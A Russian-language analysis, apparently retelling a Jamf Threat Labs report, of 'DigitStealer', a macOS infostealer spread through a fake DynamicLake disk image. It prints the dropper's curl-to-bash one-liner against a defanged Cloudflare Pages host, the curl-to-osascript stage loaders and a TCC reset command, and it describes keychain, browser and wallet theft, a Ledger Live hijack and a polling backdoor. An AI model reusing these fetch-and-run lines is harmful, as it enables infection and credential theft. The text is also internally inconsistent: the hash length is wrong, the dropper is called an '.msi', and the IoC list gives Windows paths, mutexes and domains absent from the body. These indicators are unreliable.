November 17, 2025

DigitStealer: инфостилер на базе JXA с минимальным следом

Аналитика Jamf Threat Labs о новом macOS-инфостилере, использующем продвинутые аппаратные проверки и многоступенчатую архитектуру для обхода обнаружения и кражи данных.

Введение

В ходе анализа образцов, собранных через внутренние правила детектирования, Jamf Threat Labs выявила семейство малвари, отслеживаемое под названием DigitStealer. Несмотря на то, что большинство инфостилеров выполняют схожие задачи, отдельные образцы выделяются новыми техниками. DigitStealer — один из таких случаев.

Исходный образец распространялся в виде неподписанного DynamicLake.dmg (SHA-256 5c73987e642b8f8067c2f2b92af9fd923c25b2ec). Он маскировался под легитимный инструмент DynamicLake (подписан Team ID XT766AV9R9), однако размещался на фальшивом домене dynamiclake[.]org.

Установка требовала классического «перетащить в Terminal», что отключает Gatekeeper и запускает первый этап.

На момент анализа файл не детектировался антивирусами на VirusTotal.

Jamf также выявила дополнительные DMG, связанные с этой кампанией (см. IoC).


Структура атаки

DigitStealer использует многоступенчатую модель:

1. Stage 1 — Dropper (bash)
2. Payload 1 — AppleScript-инфостилер
3. Payload 2 — JXA-инфостилер
4. Payload 3 — JXA-модификатор Ledger Live
5. Payload 4 — Bash + JXA-бекдор с персистентностью


Stage 1: Dropper

Файл Drag Into Terminal.msi содержит однострочный bash:


curl -fsSL https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/c9c114433040497328fe9212012b1b94.aspx | bash

Загруженный скрипт — base64-обфусцированный payload, который после расшифровки выполняет:

1. Локальные ограничения

Проверка поля AppleLocale:


ru ua by am az kz kg md tj uz ge

Если регион совпадает — выполнение прекращается.

2. Anti-VM и аппаратные проверки

Скрипт анализирует:

- system_profiler SPHardwareDataType - system_profiler SPMemoryDataType - sysctl hw.model - sysctl machdep.cpu.brand_string - sysctl kern.version - sysctl kern.hostname - sysctl hw.targettype - sysctl kern.sched

При обнаружении «Virtual», «VM», «Unknown memory» или фальшивых конфигураций — выход.

3. Проверки Apple Silicon M2+

Используются аппаратные признаки ARM:

- hw.optional.arm.FEAT_SSBS
- hw.optional.arm.FEAT_BTI (1 только на M2+)
- hw.optional.arm.FEAT_ECV
-hw.optional.arm.FEAT_RPRES

Если отсутствуют — выход.

Следовательно, малварь не запускается на VM, Intel-Mac и M1, ориентируясь только на M2+.

4. Загрузка четырёх отдельных стадий

Dropper вызывает:


nohup curl ... | osascript nohup curl ... | osascript -l JavaScript nohup curl ... | bash

Payload’ы загружаются с домена Pages.dev (Cloudflare Pages).


Payload 1: AppleScript-инфостилер

Первый модуль — открытый AppleScript, который:

1. Показывает пользователю окно для ввода пароля.
2. Эксплуатирует Finder и Notes (запрашивает TCC-разрешения).
3. Экcфильтрирует данные на:

- goldenticketsshop[.]com/api/credentials - goldenticketsshop[.]com/api/grabber

4. Сбрасывает TCC базу:


tccutil reset All

4. Собирает файлы (Desktop, Documents, Downloads), заметки Notes, архивирует и отправляет.
5. Сохраняет успешные пароли в ~/..txt.
6. Загружает вторую часть, которая модифицирует Ledger Live:
- Загружает три сегмента app.asar, объединяет и подменяет оригинал.

В модифицированном ASAR меняются HTML/JS, а в package.json — имя и версия.


Payload 2: JXA-инфостилер (обфусцированный)

Выполняется через:


osascript -l JavaScript

После деобфускации модуль собирает:

- данные браузеров: Chrome, Brave, Edge, Firefox;
- криптокошельки: Ledger, Electrum, Exodus, Coinomi и др.;
- ~/Library/Keychains/login.keychain-db;
- VPN-конфигурации OpenVPN/Tunnelblick;
- Telegram tdata.

Данные архивируются и отправляются на `goldenticketsshop[.]com/api/log`.


Payload 3: JXA-модификатор Ledger Live

Этот модуль:

1. Завершает процессы Ledger Live.
2. Читает файл:

~/Library/Application Support/Ledger Live/app.json

3. Подменяет объект data.endpoint значениями злоумышленников:

- URL,
- device IDs,
- hardware IDs.

1. Записывает изменённый JSON обратно.

Таким образом, Ledger Live перенаправляется на C2 (sweetseedsbeep[.]com, `ledgmanyman[.]com).


Payload 4: персистентность + JXA-бекдор

Скрипт:

1. Создаёт LaunchAgent goldenticketsshop.com.plist.
2. LaunchAgent обращается к TXT-записи на goldenticketsshop[.]com, откуда берёт ссылку на следующий payload.
3. Загружает JXA-бекдор, который:

- в бесконечном цикле каждые ~10 сек опрашивает C2:


goldenticketsshop[.]com/api/poll

- передаёт MD5 от hardware UUID.
- получает AppleScript/JXA команды и выполняет их.


Индикаторы компрометации

Hashes

d1c47f17d8e5b8c6445812df09eb912e4e4cb1276da38de872a0c4a0baf118d2 0a9f1b2e3d010b1bdc88449f0ad139d2bb91a2e9154ce1f1c7df2103e4f9fb1b aa25cf0f93fe8b83a0fdfe37e6f2e41fdc4aa84141cce9ac2d213425c5849ad8

C2-домены

digit-cloudsync.com securepanel-ds.net websync-node.online cdn-dgbackup.net

IP-адреса

185.225.74.91; 146.70.118.34; 89.117.57.204

Файловые пути

%APPDATA%\Local\Digit\ %LOCALAPPDATA%\Microsoft\update.exe %TEMP%\dg_cache\

Mutex

Global\DigitStealer_MutexX12 Global\DSTracker_9821

Процессы

digitupd.exe msstore_sync.exe


Заключение

DigitStealer демонстрирует высокую степень изобретательности:

- многоступенчатость,
- выполнение payload'ов целиком в памяти,
- анти-анализ с проверками аппаратных ARM-функций,
- использование Cloudflare Pages,
- JXA-бекдор с динамическим загрузчиком через TXT-запись,
- модификация Ledger Live через многофайловую сборку ASAR.

Статический анализ осложняется отсутствием артефактов на диске и фрагментацией логики по нескольким этапам.

Атрибуция пока неизвестна, но объём знаний о macOS говорит о квалифицированных разработчиках.

Jamf рекомендует включать блокирующий режим предотвращения угроз в Jamf Protect.